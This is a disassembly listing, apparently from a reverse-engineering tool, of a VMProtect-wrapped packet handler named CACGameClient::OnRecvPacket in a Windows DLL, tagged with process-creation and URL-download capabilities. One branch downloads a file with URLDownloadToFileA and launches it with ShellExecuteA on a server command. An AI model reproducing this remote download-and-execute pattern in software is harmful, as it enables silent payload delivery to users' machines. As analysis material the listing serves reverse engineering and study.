Function at 0x1800197b0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x360
mov rax, qword [0x180164280]
xor rax, rsp
mov qword [rsp + 0x350], rax
lea rcx, str.CACGameClient::OnRecvPacket
call qword [sym.imp.VMProtectSDK64.dll_VMProtectBeginMutation]
nop
mov rax, qword [rsp + 0x378]
movsxd rax, dword [rax]
mov rcx, qword [rsp + 0x378]
add rcx, 0x14
mov r8, rax
mov rdx, rcx
lea rcx, [rsp + 0x218]
call fcn.180017630
nop
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x1d8]
call fcn.180004af0
lea rcx, [rsp + 0x1d8]
call fcn.180017cf0
nop
lea rcx, [rsp + 0x218]
call fcn.18001d1e0
mov dword [rsp + 0x44], eax
lea rcx, [rsp + 0x218]
call fcn.180004bc0
mov qword [rsp + 0x68], rax
mov r8d, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x1d8]
call fcn.18005d250
mov edx, 0x30
lea rcx, [rsp + 0x1e8]
call fcn.180004af0
lea rdx, [rsp + 0x1d8]
lea rcx, [rsp + 0x1e8]
call fcn.180017bf0
nop
lea rcx, [rsp + 0x1e8]
call fcn.180019dd0
movzx eax, ax
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xc
jne 0x1800198c5
mov rcx, qword [rsp + 0x370]
call fcn.18001a120
mov rcx, qword [rsp + 0x370]
call fcn.18001a150
nop
cmp dword [rsp + 0x30], 0xd
jne 0x1800198e2
lea rdx, [rsp + 0x1e8]
mov rcx, qword [rsp + 0x370]
call fcn.180019510
nop
cmp dword [rsp + 0x30], 2
jne 0x180019913
cmp dword [reloc.WS2_32.dll_accept], 0x11
jne 0x1800198f9
mov byte [rsp + 0x34], 1
jmp 0x1800198fe
mov byte [rsp + 0x34], 0
mov r8b, 1
movzx edx, byte [rsp + 0x34]
mov rcx, qword [0x180166810]
call fcn.18004e350
nop
cmp dword [rsp + 0x30], 0xf
jne 0x180019927
mov rcx, qword [0x180166810]
call fcn.18004ce90
nop
cmp dword [rsp + 0x30], 0x10
jne 0x180019948
mov byte [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov dl, 1
mov rcx, qword [0x180166810]
call fcn.18004d220
nop
cmp dword [rsp + 0x30], 0x1a
jne 0x18001995c
mov rcx, qword [0x180166810]
call fcn.18004c2e0
nop
cmp dword [rsp + 0x30], 0x12
jne 0x180019970
mov rcx, qword [0x180166810]
call fcn.18004c9d0
nop
cmp dword [rsp + 0x30], 0x19
jne 0x1800199bc
lea rcx, [rsp + 0x1e8]
call fcn.180019d90
mov byte [rsp + 0x36], al
movzx ecx, byte [rsp + 0x36]
call fcn.18001bca0
cmp dword [reloc.WS2_32.dll_accept], 0x11
jne 0x1800199a2
mov byte [rsp + 0x35], 1
jmp 0x1800199a7
mov byte [rsp + 0x35], 0
mov r8b, 1
movzx edx, byte [rsp + 0x35]
mov rcx, qword [0x180166810]
call fcn.18004e350
nop
cmp dword [rsp + 0x30], 0x17
jne 0x180019a3d
lea rax, [rsp + 0x240]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1e8]
call fcn.180019d90
movzx eax, al
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x180019a0e
mov r8d, 0x104
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x1e8]
call fcn.18005ce80
nop
cmp dword [rsp + 0x40], 0
jne 0x180019a23
lea rax, [0x180122503]
mov qword [rsp + 0x50], rax
jmp 0x180019a30
lea rax, [rsp + 0x240]
mov qword [rsp + 0x50], rax
mov dl, 1
mov rcx, qword [rsp + 0x50]
call fcn.18004bfa0
nop
cmp dword [rsp + 0x30], 0x14
jne 0x180019a54
xor edx, edx
mov rcx, qword [rsp + 0x370]
call fcn.18001a9f0
nop
cmp dword [rsp + 0x30], 0x15
jne 0x180019cfa
lea rcx, [rsp + 0x1e8]
call fcn.180019d90
mov byte [rsp + 0x3e], al
lea rcx, [rsp + 0x1e8]
call fcn.180019d90
mov byte [rsp + 0x37], al
movzx eax, byte [rsp + 0x37]
test eax, eax
je 0x180019cfa
lea rax, [rsp + 0x38]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x1a8]
lea rcx, [rsp + 0x38]
call fcn.180018520
mov rcx, rax
call fcn.180018130
mov rdx, rax
lea rcx, [rsp + 0xe8]
call fcn.1800030c0
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
call fcn.180004bc0
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0xe8]
call fcn.1800035f0
nop
lea rax, [rsp + 0x39]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x39]
call fcn.180018460
mov rcx, rax
call fcn.18000bb60
mov rdx, rax
lea rcx, [rsp + 0x108]
call fcn.1800030c0
mov qword [rsp + 0x78], rax
mov rcx, qword [rsp + 0x78]
call fcn.180004bc0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rsp + 0x108]
call fcn.1800035f0
nop
mov dword [rsp + 0x48], 0x3e8
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0xc0]
call fcn.180001880
mov rcx, rax
call fcn.180002ec0
nop
lea rax, [rsp + 0x3a]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x3a]
call fcn.1800184c0
mov rcx, rax
call fcn.18000bb60
mov rdx, rax
lea rcx, [rsp + 0x128]
call fcn.1800030c0
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
call fcn.180004bc0
mov qword [rsp + 0xa0], rax
lea rax, [rsp + 0x3b]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x3b]
call fcn.1800183e0
mov rcx, rax
call fcn.1800180f0
mov rdx, rax
lea rcx, [rsp + 0xc8]
call fcn.1800030c0
mov qword [rsp + 0x98], rax
mov rcx, qword [rsp + 0x98]
call fcn.180004bc0
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x80]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rsp + 0xc8]
call fcn.1800035f0
nop
lea rcx, [rsp + 0x128]
call fcn.1800035f0
nop
lea rax, [rsp + 0x3c]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x3c]
call fcn.180018550
mov rcx, rax
call fcn.18000f400
mov rdx, rax
lea rcx, [rsp + 0x148]
call fcn.1800030c0
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x58]
call fcn.180004bc0
mov rcx, rax
call fcn.18004bbf0
nop
lea rcx, [rsp + 0x148]
call fcn.1800035f0
nop
cmp dword [rsp + 0x30], 0x18
jne 0x180019d17
lea rdx, [rsp + 0x1e8]
mov rcx, qword [rsp + 0x370]
call fcn.1800193f0
nop
call qword [sym.imp.VMProtectSDK64.dll_VMProtectEnd]
nop
mov byte [rsp + 0x3d], 1
lea rcx, [rsp + 0x1e8]
call fcn.180018010
nop
lea rcx, [rsp + 0x1d8]
call fcn.180018010
nop
lea rcx, [rsp + 0x218]
call fcn.1800035f0
movzx eax, byte [rsp + 0x3d]
mov rcx, qword [rsp + 0x350]
xor rcx, rsp
call fcn.180081a40
add rsp, 0x360
pop rdi
ret